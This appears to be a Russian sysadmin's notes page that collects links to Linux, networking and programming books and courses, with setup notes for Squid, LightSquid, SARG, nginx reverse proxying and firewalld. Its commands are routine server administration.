поборка Книги по Linux
Внутреннее устройство Linux Брайан Уорд 2016
Внутреннее устройство Linux Брайан Уорд 2016
Внутреннее устройство Linux Брайан Уорд 2016
Настольная книга администратора Debian Hertzog Raphaël, Mas Roland
UNIX изнутри Юреш Вахалия 2003
UNIX — универсальная среда программирования Брайан Уилсон Керниган Роб Пайк 1992 г
Прикладная и компьютерная лингвистика И. С. Николаев 2016
Инструментарий хакера Сергей Бабин 2014
Программирование: введение в профессию Андрей Викторович Столяров
Руководство администратора FreePBX на русском языке
PDF-версия статей про Bash-скрипты
Сценарии командной оболочки. Linux, OS X и Unix (2017)
Python 3 для сетевых инженеров
Cisco CCENT/CCNA ICND1 100-101. Официальное руководство по подготовке к сертификационным экзаменам.
https://github.com/EbookFoundation/free-programming-books/blob/master/free-programming-books-ru.md
Андрей Столяров Программирование: введение в профессию. Том 1: азы программирования
Андрей Столяров Программирование: введение в профессию. II: низкоуровневое программирование
ftp://ftp.micronet-rostov.ru/pub/linux-support/books/system%20administration/
Андрей Столяров Программирование: введение в профессию. III: системы и сети
Андрей Столяров Программирование: введение в профессию. Том IV: парадигмы
BY PROGRAMMING LANGUAGE
https://github.com/EbookFoundation/free-programming-books/blob/main/courses/free-courses-ru.md

ftp://ftp.micronet-rostov.ru/linux-support/books/system administration/
ftp://ftp.micronet-rostov.ru/linux-support/books/programming
https://дз.ею/tmp/Bibl_progr_Sb_187kn/

чтоб читалось везде


Подборки



http://www.outsidethebox.ms/category/windows/
Записки IT специалиста Active Directory
http://cb.vu/unixtoolbox.xhtml
http://admin-club.net/publ/
https://telegram.me/proglibrary
база знаний MyTetra
сборник полезных для программиста ссылок
Библиотека программиста Видеолекции и видеоуроки
Библиотека программиста Каталог книг
Бесплатные материалы для программистов
uzverss статьи по Active Directory
uzverss Mikrotik, RouterOS подборка
uzverss подборка по телефонии
uzverss работа с Git
полезное для серваков
uzverss Raspberry PI, Arduino, Python
uzverss Командная строка. справочник администратора
uzverss подборка по коммутаторам


Переводы



Искусство программирования на языке сценариев командной оболочки
Справочное руководство по виртуализации в Fedora
Драйверы устройств Linux, Третья редакция
Основы написания драйверов устройств для Linux
https://git-scm.com/book/ru/v1


Самоучители



Введение в SQL
Наиболее используемые команды MySQL
1C-Битрикс: Управление сайтом Документация для разработчиков
1C-Битрикс: Пользовательская документация
https://dev.1c-bitrix.ru/learning/
https://dev.1c-bitrix.ru/docs/php.php
http://learngitbranching.js.org/
http://ccnastepbystep.blogspot.ru/
http://www.cisco.com/web/RU/learning/le31/learning_learning_resources_home.html
Постоянный доступ к учебным материалам Cisco
http://linkmeup.ru/tag/сети%20для%20самых%20маленьких/
https://powerman.name/doc/Inferno/
Ассемблер в Linux для программистов C
Гайды по работе с Git
Полный релиз бесплатного интерактивного 700-страничного учебника по тестированию
Как обучить джунов QA за 3 дня (сборник материалов)
Prompt-инженер как новый тренд. Требования и зарплаты у специалистов
Руководство по промпт-инжинирингу
https://gnulinux.pro/
https://basis.gnulinux.pro/ru/latest/
https://infra.gnulinux.pro/ru/latest/

Сети для самых маленьких
юзера eucariot
https://linkmeup.gitbook.io/sdsm
https://github.com/eucariot/SDSM
ieucariot Сети Для Самых Маленьких видео
ieucariot CCIE за год видео
15. Сети для самых матёрых. Часть пятнадцатая. QoS
14. Сети для самых матёрых. Часть четырнадцатая. Путь пакета
13. Сети для самых матёрых. Часть тринадцатая. MPLS Traffic Engineering
12.2. Сети для самых матёрых. Микровыпуск №8. EVPN Multihoming
12.1. Сети для самых матёрых. Микровыпуск №7. MPLS EVPN
12. Сети для самых матёрых. Часть двенадцатая. MPLS L2VPN
11.1. Сети для самых маленьких. Микровыпуск №6. MPLS L3VPN и доступ в Интернет
11. Сети для самых маленьких. Часть Одиннадцатая. MPLS L3VPN
10. Сети для самых маленьких. Часть десятая. Базовый MPLS
9. Сети для самых маленьких. Часть девятая. Мультикаст
8.1 Сети для Самых Маленьких. Микровыпуск №3. IBGP
8. Сети для самых маленьких. Часть восьмая. BGP и IP SLA
7. Сети для самых маленьких. Часть седьмая. VPN
6. Сети для самых маленьких. Часть шестая. Динамическая маршрутизация
5. Сети для самых маленьких: Часть пятая. NAT и ACL
4. Сети для самых маленьких: Часть четвёртая. STP
3. Сети для самых маленьких: Часть третья. Статическая маршрутизация
2. Сети для самых маленьких. Часть вторая. Коммутация
1. Сети для самых маленьких. Часть первая. Подключение к оборудованию cisco
0. Сети для самых маленьких. Часть нулевая. Планирование

Основы компьютерных сетей
Основы компьютерных сетей. Тема №1. Основные сетевые термины и сетевые модели
Основы компьютерных сетей. Тема №2. Протоколы верхнего уровня
Основы компьютерных сетей. Тема №3. Протоколы нижних уровней (транспортного, сетевого и канального)
Основы компьютерных сетей. Тема №4. Сетевые устройства и виды применяемых кабелей
Основы компьютерных сетей. Тема №5. Понятие IP адресации, масок подсетей и их расчет
Основы компьютерных сетей. Тема №6. Понятие VLAN, Trunk и протоколы VTP и DTP
Основы компьютерных сетей. Тема №7. Протокол связующего дерева: STP
Основы компьютерных сетей. Тема №8. Протокол агрегирования каналов: Etherchannel
Основы компьютерных сетей. Тема №9. Маршрутизация: статическая и динамическая на примере RIP, OSPF и EIGRP


Эмуляторы



http://www.dlink.ru/ru/arts/84.html
Эмуляторы интерфейса оборудования D-Link
http://tp-link.com.ua/support/tp-link-simulator/
http://demo.mt.lv/webfig/
https://vfsync.org/u/os/buildroot-x86
https://de0.tux.io/


Курсы



https://mva.microsoft.com/
http://www.specialist.ru/profession/microsoft-admin
http://www.specialist.ru/section/network-administration
Компьютерные сети
Основы сетей передачи данных

Основные протоколы интернет
Построение коммутируемых компьютерных сетей
IPv6 для профессионалов
НОУ «ИНТУИТ» Технопарк Mail.ru Group: Web-технологии
Администрирование почтовых серверов sendmail
Основы конфигурирования в системе "1С:Предприятие 8.0"
Основы разработки прикладных решений для 1С:Предприятие 8.1
https://github.com/ustu
Каналы передачи данных
Сетевое программирование
Основы Веб-программирования
Базы данных
ITVDN Курс SQL для начинающих - бесплатно! Давид Бояров
ITVDN Видео курс SQL Essential Давид Бояров
1000+ часов видео по Java на русском
Учебные курсы Кирилла Семаева
LPIC-1 exam-101 LPIC-1 exam-102
Андрей Созыкин Онлайн курс "Компьютерные сети"
coursera Нейронные сети и глубокое обучение
skillfactory Специалист по нейронным сетям
Видео лекций всего курса первой Школы разработки интерфейсов Яндекса
Презентации видеолекций

Видео


Программное обеспечение



Вместо бубна: огромная подборка инструментов сисадмина
Более чем 80 средств мониторинга системы Linux
Эмулятор большого провайдера
http://www.freshports.org/
http://www.chiark.greenend.org.uk/~sgtatham/putty/
https://launchpad.net/~llyzs/+archive/ubuntu/ppa
https://launchpad.net/~webupd8team/+archive/ubuntu/haguichi
Если не TeamViewer, то кот: почти два десятка аналогов популярного сервиса удалённого доступа
https://www.teamviewer.com/ru/
https://rustdesk.com/docs/en/
https://github.com/rustdesk/rustdesk-server
https://github.com/dchapyshev/aspia
https://null.la/
https://github.com/immense/Remotely
https://www.meshcommander.com/meshcentral2
http://www.uvnc.com/
http://www.tightvnc.com/
https://winscp.net/
https://www.wireshark.org/
https://nmap.org/
http://angryip.org/
http://3proxy.ru/
http://www.squid-cache.org/
http://wapmmc.codeplex.com/
https://www.gns3.com/software
https://www.virtualbox.org/
http://wtware.ru/
https://github.com/scarygliders/X11RDP-o-Matic
http://www.handybackup.ru/
http://helpme1c.ru/bekuper-1s-rezervnye-kopii-buxgalterii
http://www.webmin.com/
http://webacula.sourceforge.net/
https://hdd.by/victoria.html
Windows USB/DVD Download Tool
https://www.hirensbootcd.org/old-versions/
http://www.ultimatebootcd.com/
ERD Commander (Microsoft DaRT)
Windows Sysinternals
Disk2vhd
Cisco Network Assistant
http://www.clonezilla.org/
http://www.storelab-rc.ru/programs.htm
http://www.mhdd.ru/download.html
https://sourceforge.net/projects/processhacker/
https://www.hwinfo.com/
http://adminpe.ru/
https://www.gns3.com/
http://www.unetlab.com/download/index.html
https://sourceforge.net/projects/netdisco/
https://metacpan.org/pod/App::Netdisco
http://sleuthkit.org/autopsy/v2/
http://www.runtime.org/data-recovery-products.htm
http://www.cgsecurity.org/wiki/TestDisk_Download
http://www.cgsecurity.org/wiki/PhotoRec_RU
https://www.gnu.org/software/ddrescue/
https://sourceforge.net/projects/foremost/
http://rlab.ru/tools/rsaver.html
https://github.com/deemru/chromium-gost
https://www.cryptopro.ru/products/cpfox
http://www.cryptopro.ru/products/cades/plugin
Quintum Tenor Configuration Manager
https://standardnotes.org/
https://pexpect.readthedocs.io/en/stable/examples.html
Утилиты на PowerShell для системных администраторов
https://github.com/lazywinadmin/LazyWinAdmin_GUI
AI-Bolit
61 репозиторий для хакеров на Github
PentestBox — портативная сборка популярных security утилит

https://www.openshift.com/
https://www.heroku.com/pricing

https://github.com/255kb/stack-on-a-budget

http://matrix.org/

https://bitbucket.org/

https://live.sysinternals.com/
https://www.microfocus.com/en-us/products/vm-server-backup/overview
https://www.veeam.com/ru
https://www.manageengine.com/ru/desktop-central/
https://www.dameware.com/


Консоль



https://c9.io/
https://www.tutorialspoint.com/codingground.htm
https://www.tutorialspoint.com/unix_terminal_online.php
https://www.python.org/shell/
http://melpon.org/wandbox
http://ellcc.org/demo/index.cgi
https://httpie.org/run
http://http-prompt.com/

консольная подборка


Вопросы, ответы, решения



Public Route Servers and Looking Glass sites
https://social.technet.microsoft.com/Forums/ru-ru/home
http://hosting101.ru/more-providers.html
http://www.commandlinefu.com/commands/browse
http://www.shell-fu.org/lister.php?top
http://sysadmins.ru/
http://forum.ru-board.com/
https://codeby.net/forum/
http://forum.infostart.ru/forum86/
https://www.youtube.com/html5
http://html5test.com/
https://2ch.hk/s/
https://2ch.hk/pr/
https://2ch.hk/hw/

http://uzverss.livejournal.com/tag/сисадм
http://uzverss.livejournal.com/tag/cmd
http://uzverss.livejournal.com/tag/cisco
http://uzverss.livejournal.com/tag


Изображения



http://i.imgur.com/Xpok31V.png
http://risovach.ru/upload/2014/10/mem/muzhik-bleat_64813883_orig_.jpg
http://risovach.ru/upload/2014/01/mem/tyzhprogrammist_41224540_orig_.jpeg
http://s00.yaplakal.com/pics/pics_preview/5/3/9/569935.jpg
http://www.it-ep.ru/files/2012/08/23/small_c_za_edu.jpg
http://www.b-port.com/mediafiles/items/2013/07/110046/318038bf0cfd1e19b4ef1f686e44ad0c_XL.jpg
https://pbs.twimg.com/media/B54YxL2CcAA2ZRb.jpg


Игры



проверь, какой ты сисадмин
https://universe.openai.com/
https://screeps.com/
https://checkio.org/
http://www.codewars.com/?language=javascript
http://www.cyber-dojo.org/setup/show_exercises/?language=Javascript
https://codecombat.com/play
https://www.codingame.com/start
http://play.elevatorsaga.com/
https://screeps.com/
http://pencilcode.net/
https://alexnisnevich.github.io/untrusted/
http://www.hexinvaders.com/
http://flexboxfroggy.com/#ru
http://www.flexboxdefense.com/
http://www.dungeonsanddevelopers.com/
http://pixact.ly/
http://flukeout.github.io/
https://xss-game.appspot.com/


Разное



http://lurkmore.to/Админ
проверь, какой ты сисадмин
Если бы водителей нанимали по тем же критериям как и сисадминов...
Новогодний пост — БЕГИТЕ, глупцы!
https://web.archive.org/web/20150607094738/http://www.linux.org.ru/books/BOFH/
http://ithappens.me/
Кто на самом деле является администратором Windows?
https://another-it.ru/
Стоит ли становиться сисадмином или девопс инженером?

Файрвол в системе linux контролируется программой iptables (для ipv4) и ip6tables (для ipv6). В данной шпаргалке рассмотрены самые распространённые способы использования iptables для тех, кто хочет защитить свою систему от взломщиков или просто разобраться в настройке.

Read more... )
http://vasilisc.com/21-examples-iptables
https://www.opennet.ru/docs/RUS/iptables/
https://ru.wikibooks.org/wiki/Iptables
http://help.ubuntu.ru/wiki/iptables
https://wiki.archlinux.org/index.php/Iptables_(Русский)
http://www.k-max.name/linux/netfilter-iptables-v-linux/
http://www.k-max.name/linux/iptables-v-primerax/
http://eax.me/iptables/
Основы iptables на примере Debian глазами младенца

Как то раз мы рассматривали настройку прокси squid для начинающих в среде Windows. Потом мы настраивали squid в «роутере из коробки» — pfSense. А сегодня мы покажем как создать мощный прокси сервер в Linux Debian. Зачем? Дело в том, что даже в pfSense мы не можем раскрыть всю мощь squid без бубна. Поэтому, если перед вами стоит задача сделать бескомпромиссный прокси сервер — Linux единственный вариант.
Read more... )


http://macrodmin.ru/2012/07/proksi-squid-s-avtorizaciej-v-domene-active-directory
http://www.k-max.name/linux/squid-proxy-v-linux/
http://www.k-max.name/linux/squid-auth-kerberos-ldap-grupp-active-directory/

https://ru.bmstu.wiki/Squid
Установка Squid в Ubuntu 16.04
SQUID и NTLM-авторизация через Active Directory
CentOS 6 Squid Kerberos LDAP Active Directory Windows Server 2008 R2
Авторизация на SQUID через Active Directory

https://serveradmin.ru/nastroyka-proksi-servera-na-centos-7-squid-ad-sams2/ (ввод в домен)
https://docs.diladele.com/administrator_guide_6_4/active_directory/index.html

РЕД ОС Настройка автоматической авторизации доменных пользователей IPA в squid
Справка Kaspersky Настройка интеграции сервиса Squid с Active Directory
Настройка прокси сервера на CentOS 7 (squid+AD+sams2)
squid.conf по-русски


https://3proxy.ru/documents/
Настройка pfSense в качестве корпоративного Прокси Сервера
Настройка шлюза на базе Pfsense. Часть 1


установка squid с доступом по группам в AD, squidGuard, lighttpd+lightsquid, sams2 в centos часть 1

полезные ссылки
https://wiki.squid-cache.org/SquidFaq/
Как создать и настроить прокси-сервер Squid
Прокси Squid с авторизацией в домене Active Directory
https://wiki.squid-cache.org/ConfigExamples/Authenticate/Kerberos
https://docs.diladele.com/administrator_guide_6_4/active_directory/index.html
https://serveradmin.ru/nastroyka-proksi-servera-na-centos-7-squid-ad-sams2/ (ввод в домен)
Ввод CentOS 7 в домен Active Directory и авторизация по SSH доменных пользователей
Настраиваем Squid для работы с Active Directory. Часть 1 - базовые настройки
Настраиваем Squid для работы с Active Directory. Часть 2 - Kerberos-аутентификация
Настройка прокси сервера Squid 3.3 на Ubuntu Server 14.04 LTS. Часть 5. Конфигурация Squid 3
Авторизация на SQUID через Active Directory
Настройка SquidGuard на CentOS 7
SQUID и Kerberos-авторизация через Active Directory
Работа Squid с Active Directory. Kerberos-аутентификация. Права доступа на основе групп Active Directory.
Как правильно сформировать keytab-файл с несколькими принципалами сервисов в среде Active Directory
https://wiki.rtzra.ru/software/squid/squid-active-directory
https://www.galkov.pro/install_squid_on_ubuntu/
https://kifarunix.com/install-and-configure-squid-proxy-on-centos-8/
https://www.altlinux.org/Squid/AD-auth
https://www.altlinux.org/Создание_SPN_и_Keytab_файла
Перевод комментариев к файлу конфигурации Squid (squid proxy)
Samba, LDAP, Ввод Linux в домен

https://doxfer.webmin.com/Webmin/Squid_Proxy_Server
http://break-people.ru/cmsmade/?page=unix_webmin_howto_squid
Squid на практике
Почти полный перечень параметров конфигурационного файла Squid 3
Небольшая шпаргалка по Squid

Перехват и просмотр HTTPS трафика на прокси-сервере Squid 4.9

Настройка Интернет шлюза на CentOS 7
Защищаем сервер на CentOS 7 с помощью firewalld и fail2ban

vpn pptp centos7
firewall-cmd настройка брадмаузера

антивирусы
http://www.eicar.org/anti_virus_test_file.htm
http://www.havp.org/
http://www.havp.org/havp-teamwork-with-other-proxys-e-g-squid/
http://squidclamav.darold.net/
https://github.com/darold/squidclamav
https://sourceforge.net/projects/squidclamav/
Настройка SquidClamAv
Установка HAVP в Ubuntu
CentOS 7 + Squid + SquidClamav
Squid + Dansguardian + c-icap + ClamAV на базе CentOS 7

реклама
http://bfilter.sourceforge.net/
http://adzapper.sourceforge.net/

Блокировка рекламы в браузерах
Мануал от RU AdList

https://adblockplus.org/ru/subscriptions

EasyList - https://easylist-downloads.adblockplus.org/easylist.txt
RU AdList - https://easylist-downloads.adblockplus.org/advblock.txt
RU AdList для uBlock Origin - https://easylist-downloads.adblockplus.org/advblock+cssfixes.txt
Adblock Warning Removal List - https://easylist-downloads.adblockplus.org/antiadblockfilters.txt
Counters - https://easylist-downloads.adblockplus.org/cntblock.txt
BitBlock - https://easylist-downloads.adblockplus.org/bitblock.txt
https://easylist-downloads.adblockplus.org/ruadlist+easylist.txt

https://kb.adguard.com/ru/general/adguard-ad-filters
https://filters.adtidy.org/extension/chromium/filters/1.txt
https://filters.adtidy.org/extension/ublock/filters/1.txt
https://filters.adtidy.org/extension/ublock/filters/2.txt

Анализаторы логов для Squid
Анализаторы логов для Squid
https://sourceforge.net/projects/sarg/
http://spohelp.ru/forums/17-gotovye-resheniya/topics/1250-sarg-centos-7/
http://lightsquid.sourceforge.net/
https://sourceforge.net/projects/screen-squid/
http://squidanalyzer.darold.net/index.html
http://samm.kiev.ua/sqstat/
https://github.com/lorf/sqstat
https://wiki.rtzra.ru/software/squid/squid-sqstat
https://github.com/alv1r/SqStat

https://wiki.squid-cache.org/SquidFaq/BinaryPackages#CentOS
yum install squid-helpers


squidview
wget http://www.rillion.net/squidview/squidview-0.86.tar.gz
# tar -xzvf squidview-0.86.tar.gz
# cd squidview-0.7x

before this, make sure you have all the package needed
# yum groupinstall "Development tools"
# yum install ncurses-static ncurses-devel

proceed to compile and install
# ./configure
# make
# cp Makefile.old Makefile
# make oldgcc
# make install

lighttpd+lightsquid
Как установить Lighttpd с PHP-FPM на CentOS 7
How to Install Lighttpd on CentOS 7
SQUID + lightsquid + lighttpd в Ubuntu
centos 7 squid AD LightSquid
Настройка lightsquid
https://www.sysadminwiki.ru/wiki/LightSquid

yum -y update
yum -y erase httpd nginx
yum -y install epel-release
yum -y update
yum groupinstall "Development Tools"
yum -y install perl-GD perl-CGI wget lighttpd lighttpd-fastcgi php-fpm php-mbstring

nano /etc/php-fpm.d/www.conf



systemctl start php-fpm
systemctl enable php-fpm

nano /etc/php.ini




nano /etc/lighttpd/conf.d/fastcgi.conf
найти server.modules += ( "mod_fastcgi" )
Добавьте следующие строки чуть ниже вышеуказанной строки:




nano /etc/lighttpd/modules.conf




проверка
nano /var/www/lighttpd/phpinfo.php
phpinfo();

systemctl restart php-fpm
systemctl restart lighttpd
http://your-IP-addr/phpinfo.php

systemctl start lighttpd
systemctl enable lighttpd
systemctl status lighttpd
mv /var/www/lighttpd /var/www/htdocs

wget -c -P $HOME/Downloads/ https://netcologne.dl.sourceforge.net/project/lightsquid/lightsquid/1.8/lightsquid-1.8.tgz
tar -zxvf $HOME/Downloads/lightsquid-1.8.tgz -C /var/www/html/; cd /var/www/html/
mv lightsquid-1.8/ lightsquid
cd lightsquid/
cp lightsquid.cfg lightsquid.cfg.asli
chown -R lighttpd:lighttpd /var/www/html/lightsquid
chmod -R 755 /var/www/html/lightsquid
chmod +x *.cgi
chmod +x *.pl
perl check-setup.pl
ln -s /var/www/html/lightsquid/ /var/www/lighttpd
systemctl restart lighttpd

Добавим обработку логов по крону раз в 30 минут (сегодняшних)
*/30 * * * * /var/www/html/lightsquid/lightparser.pl today

Cron Jobs — пособие для начинающих

запаролим доступ к статистике
https://redmine.lighttpd.net/projects/lighttpd/wiki/docs_modauth
Add A User to the Password File

sudo mkdir /etc/lighttpd/.htpasswd
nano hash.sh



chmod +x ./hash.sh

использование
./hash.sh 'username' 'myrealm' 'password'




добавить запись в /etc/lighttpd/lighttpd.conf командой




раскомментировать в файле /etc/lighttpd/modules.conf
"mod_auth",

systemctl restart lighttpd

Установка lightsquid на CentOS
Считаем Squid Proxy трафик через lightsquid
lightsquid.cfg




ошибки
Как установить Lighttpd на CentOS 7
systemctl status lighttpd

Loaded: loaded (/usr/lib/systemd/system/lighttpd.service; disabled; vendor preset: disabled)

откройте файл конфигурации /etc/lighttpd/lighttpd.conf и измените строку server.use-ipv6 с «enable» на disable.
systemctl restart lighttpd


http://repo.iotti.biz/
https://centos.pkgs.org/7/lux/lightsquid-apache-1.8-18.el7.lux.noarch.rpm.html

nginx+lightsquid
взаимодействие с CGI

sudo yum install spawn-fcgi fcgiwrap nginx

mkdir /etc/nginx/virt_host
nano /etc/nginx/virt_host/lightsquid.conf



ln -s /etc/nginx/virt_host/lightsquid.conf /etc/nginx/conf.d/

nano /etc/sysconfig/spawn-fcgi



systemctl enable --now nginx spawn-fcgi



Настройте Perl-FastCGI на сервере CentOS 7 Nginx
Centos 7 + ipcad + rsh статистика по траффику


Cron SARG
Настройка SaRG на базе Ubuntu Server
sudo nano /etc/sarg/sarg.conf
Вносим требуемые изменения:

language Russian_UTF-8
graphs yes
graph_days_bytes_bar_color orange
output_dir /var/www/squid-reports
charset UTF-8
Далее в конфиге ищем и комментируем строку:

#site_user_time_date_type table

sudo nano /etc/crontab

Вносим расписание:

00 08-18 * * * root sarg-reports today
00 22 * * * root sarg-reports daily
30 22 * * 0 root sarg-reports weekly
30 23 1 * * root sarg-reports monthly

Теперь крон настроен таким образом, что будет формировать отчеты каждый час в течении рабочего дня (с 8:00 до 18:00), в 22:00 генерируется полный отчет за сутки, по воскресеньям генерируется отчет за неделю и наконец 1го числа каждого месяца будет появляться отчет о пользовании интернетом за месяц.

Генерирование отчетов за день (если файла нет, то создаем):
sudo nano /etc/cron.daily/sarg
Вписываем эти строки (старые удаляем, на всякий случай сделайте бекап)




Крон отвечающий за генерирование отчетов за неделю:
sudo nano /etc/cron.weekly/sarg




Генерирование отчетов за месяц:
sudo nano /etc/cron.monthly/sarg




Установим свеженастроенным файлам права на выполнение:
chmod 755 /etc/cron.daily/sarg /etc/cron.weekly/sarg /etc/cron.monthly/sarg

Для запуска создания отчетов вручную используем следующие команды:

sudo sarg
sudo /etc/cron.daily/sarg
sudo /etc/cron.weekly/sarg
sudo /etc/cron.monthly/sarg

обратный прокси (доступ к ресурсу за nat)

nginx настраивается как тут добавляется файл server233_reverse.conf в /etc/nginx/virt_host, а символическая ссылка с него - в /etc/nginx/conf.d/




sudo firewall-cmd --zone=public --add-port=8080/tcp --permanent
sudo firewall-cmd --zone=public --add-port=8888/tcp --permanent
sudo firewall-cmd --zone=external --add-port=28080/tcp --permanent
sudo firewall-cmd --zone=external --add-port=28888/tcp --permanent
sudo firewall-cmd --reload

появится доступ из внутренней сети по порту 8080, из наружной по порту 28080, к сайту на сервере 233, находящемся на порту 8080, с 8888 портом, на котором висит другой сайт - аналогично

Решение с помощью firewall-cmd ?
https://www.dmosk.ru/miniinstruktions.php?mini=router-centos
перенаправление сетевых запросов на сервер, стоящий за NAT и не имеющий прямого выхода во внешнюю сеть.

firewall-cmd --zone=external --permanent --add-forward-port=port=25:proto=tcp:toport=8025:toaddr=192.168.0.15

* где 25 — прослушиваемый внешний порт, для которого сработает перенаправление; tcp — используемый транспортный протокол; 8025 — на какой порт перенаправить запрос; 192.168.0.15 — IP-адрес сервера, на который отправляем запросы.

Разрешаем сам порт:
firewall-cmd --permanent --zone=external --add-port=25/tcp

Чтобы правило вступило в силу:
firewall-cmd --reload


Настройка firewalld CentOS 7 с примерами команд
Разрешить диапазон портов:
# firewall-cmd --zone=public --add-port=5059-5061/udp

Перенаправить входящие на 22 порт на другой хост:
# firewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toaddr=192.168.1.23

Перенаправить входящие на 22 порт на другой хост с изменением порта назначения (с 22 на 192.168.1.23:2055):
# firewall-cmd --zone=external /
--add-forward-port=port=22:proto=tcp:toport=2055:toaddr=192.168.1.23

https://www.linode.com/docs/security/firewalls/introduction-to-firewalld-on-centos/
Allow all IPv4 traffic from host 192.0.2.0.
sudo firewall-cmd --zone=public --add-rich-rule 'rule family="ipv4" source address=192.0.2.0 accept'

Deny IPv4 traffic over TCP from host 192.0.2.0 to port 22.
sudo firewall-cmd --zone=public --add-rich-rule 'rule family="ipv4" source address="192.0.2.0" port port=22 protocol=tcp reject'

Allow IPv4 traffic over TCP from host 192.0.2.0 to port 80, and forward it locally to port 6532.
sudo firewall-cmd --zone=public --add-rich-rule 'rule family=ipv4 source address=192.0.2.0 forward-port port=80 protocol=tcp to-port=6532'

Forward all IPv4 traffic on port 80 to port 8080 on host 198.51.100.0 (masquerade should be active on the zone).
sudo firewall-cmd --zone=public --add-rich-rule 'rule family=ipv4 forward-port port=80 protocol=tcp to-port=8080 to-addr=198.51.100.0'

To list your current Rich Rules in the public zone:
sudo firewall-cmd --zone=public --list-rich-rules


Как сделать простой веб-сайт за один час
http://nginx.org/en/docs/http/load_balancing.html

https://wiki.squid-cache.org/SquidFaq/ReverseProxy
Reverse proxy from nginx to squid?
Требуется связка: client <-> nginx <-> squid <-> site.
Обратный прокси от nginx до squid

Примеры редиректов в NGINX


СКРЫВАЕМ ЧАСТЬ РЕСУРСОВ IIS СРЕДСТВАМИ NGINX AS REVERSE PROXY (CENTOS 7)
Обратный прокси на Nginx
Проксирование запросов в nginx с помощью proxy_pass
Настройка бесплатного ssl сертификата Lets Encrypt

проксирование почты
https://docs.nginx.com/nginx/deployment-guides/load-balance-third-party/microsoft-exchange/
Настройка NGINX для проксирования почты

Пошаговая инструкция по настройке публикации почтовых серверов Exchange Server 2013/2016 с помощью IIS ARR
Настройка прокси сервера на CentOS

Публикация MS Exchange OWA через NGINX
Обратный прокси Nginx к Exchange 2010/2013
Nginx и Exchange ActiveSync
Deploying Exchange 2016 Behind NGINX Free
enoch85/outlook.conf
Reverse proxy для доступа к Outlook Web App (OWA) из интернета
https://pastebin.com/ZnmjR5hH
Configuring nginx reverse proxy for Exchange 2010

Postfix (антиспам+антивирус), как почтовый шлюз с Exchange
Postfix как пограничный relay для Exchange
Простейший relay на Postfix для Exchange Server
Postfix в качестве почтового шлюза организации
Установка почтового шлюза на Postfix для почтового сервера MS Exchange 2010.

Порты используемые Microsoft Exchange Server 2010
Exchange Network Port Reference
https://docs.microsoft.com/ru-ru/exchange/plan-and-deploy/deployment-ref/network-ports?view=exchserver-2019
https://docs.microsoft.com/ru-ru/exchange/network-ports-for-clients-and-mail-flow-in-exchange-2013-exchange-2013-help



https://www.hoelzle.net/nginx-als-reverse-proxy-fuer-exchange-201020132016/
nano /etc/nginx/nginx.conf
client_max_body_size 2000M;

Для части
more_set_input_headers 'Authorization: $http_authorization';
proxy_set_header Accept-Encoding "";
more_set_headers -s 401 'WWW-Authenticate: Basic realm="exch2016.test.local"';
требуется расширение nginx - модуль headers-more-nginx

cat /var/log/nginx/error.log
unknown directive "more_set_input_headers" in /etc/nginx/conf.d/reverse...

https://blog.friedlandreas.net/2018/10/nginx-unknown-directive-more_set_input_headers/
include /etc/nginx/modules-enabled/*.conf;

nginx -V

https://nginx.org/ru/linux_packages.html

Installing NGINX Plus
https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/
sudo wget -P /etc/yum.repos.d https://cs.nginx.com/static/files/nginx-plus-7.4.repo
sudo yum install nginx-plus
yum install nginx-plus-module-headers-more

??? сторонний репозиторий
https://www.getpagespeed.com/redhat
https://pkgs.org/search/?q=nginx-module-headers-more
Install GetPageSpeed repository:
# yum install https://extras.getpagespeed.com/release-el7-latest.rpm
Install nginx-module-headers-more rpm package:
# yum install nginx-module-headers-more

https://nginx.org/ru/docs/http/ngx_http_proxy_module.html

Настройка HTTPS-серверов
How To Create a Self-Signed SSL Certificate for Nginx on CentOS 7
How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SLL rating)
Как настроить Nginx для использования самоподписанного сертификата SSL / TLS в Ubuntu 18.04 VPS или на выделенном сервере
Как создать самоподписанный сертификат SSL для Ngin

mkdir /etc/ssl/private/
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/nginx-selfsigned.key -out /etc/ssl/certs/nginx-selfsigned.crt

https://www.zipofar.ru/doku.php?id=reverse_proxy_for_owa
Самый важный пункт при создании сертификата - Common Name. В это поле надо внести доменное имя, ассоциированное с вашим доменом или более предпочтительно IP адрес сервера (этого сервера) на котором собственно и будет установлен сертификат.

Country Name (2 letter code) [AU]:RU
State or Province Name (full name) [Some-State]:Moscow
Locality Name (eg, city) []:Moscow
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MyOrganization
Organizational Unit Name (eg, section) []:MyOrganization
Common Name (e.g. server FQDN or YOUR name) []:server_IP_address or domain_name
Email Address []:admin@your_domain.com

разное
Squid и Whatsapp
Работа мессанджера Whatsapp через прокси-сервер Squid
Чтобы решить данную проблему нужно чтобы Squid не пытался посмотреть HTTPS трафик в направлении whatsapp адресов, а просто выполнял соединение.

Для этого создадим файл (прим. /etc/squid/sites_webwhatsapp.txt) в котором укажем для каких сайтов не предпринимать никаких действий:



В конфигурационном файле (/etc/squid/squid.conf) указываем следующие параметры:



ВАЖНО. Обращаю внимание что действие splice должно быть до каких либо действий с HTTPS трафиком.


Steam
https://www.linode.com/docs/game-servers/install-steamcmd-for-a-steam-game-server/
http://wiki.abcvg.com/wiki/SteamCMD
steam_on.sh



коротко об systemd
Просмотреть список всех активных юнитов
$ systemctl list-units

Покажет любой юнит, который система загрузила или попыталась загрузить, независимо от текущего состояния в системе
$ systemctl list-units --all

неактивные юниты:
$ systemctl list-units --all --state=inactive

Посмотреть только активные юниты служб:
$ systemctl list-units --type=service

Вывод списка всех файлов юнитов
$ systemctl list-unit-files

Посмотреть только юниты, добавленные в автозагрузку:
$ systemctl list-unit-files | grep enabled

Проверить, включен ли юнит в автозапуск при загрузке системы:
$ systemctl is-enabled юнит

Проверить, активен ли данный юнит:
$ systemctl is-active юнит


изменение времени файлов, удаление истории посещения и команд в linux

Долгое Подключение по SSH
nano /etc/ssh/sshd_config
UseDNS no
service sshd restart

мониторить сеть
yum tcpdump install iptraf iftop nload trafshow bmon bwm-ng nethogs trafshow
tcpdump -i enp3s0 -vv

обновить политики SELinux
yum update -y selinux-policy*
ошибки
после обновления:
wbinfo -t
could not obtain winbind interface details: WBC_ERR_WINBIND_NOT_AVAILABLE
could not obtain winbind domain name!
checking the trust secret for domain (null) via RPC calls failed
